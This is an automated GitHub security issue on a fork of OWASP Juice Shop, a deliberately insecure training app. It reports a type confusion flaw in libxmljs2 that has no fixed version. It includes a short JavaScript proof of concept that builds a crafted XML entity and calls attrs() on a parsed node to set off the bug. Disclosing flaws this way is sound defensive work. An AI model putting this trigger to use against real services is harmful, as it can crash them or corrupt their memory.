jordaniac89 / juice-shop

OWASP Juice Shop: Probably the most modern and sophisticated insecure web application
http://owasp-juice.shop
MIT License
0 stars 0 forks source link

High severity - Type Confusion vulnerability in libxmljs2 (package.json) #208

Open github-actions[bot] opened 1 month ago

github-actions[bot] commented 1 month ago

Affected versions of this package are vulnerable to Type Confusion due to the improper handling of a specially crafted XML file. An attacker can cause a denial of service, data leak, infinite loop, or execute arbitrary code by invoking a function on the result of attrs() that was called on a parsed node.

PoC


const libxmljs2 = require('libxmljs2');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer `" + 'A'.repeat(0x1234) + `">
]>
<from>&writer;</from>
`;

t = libxmljs2.parseXml(d, {flags: [libxmljs2.XMLParseFlags.XML_PARSE_HUGE]})
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0]
c2_attrs = c2.attrs()

Remediation

There is no fixed version for libxmljs2.

References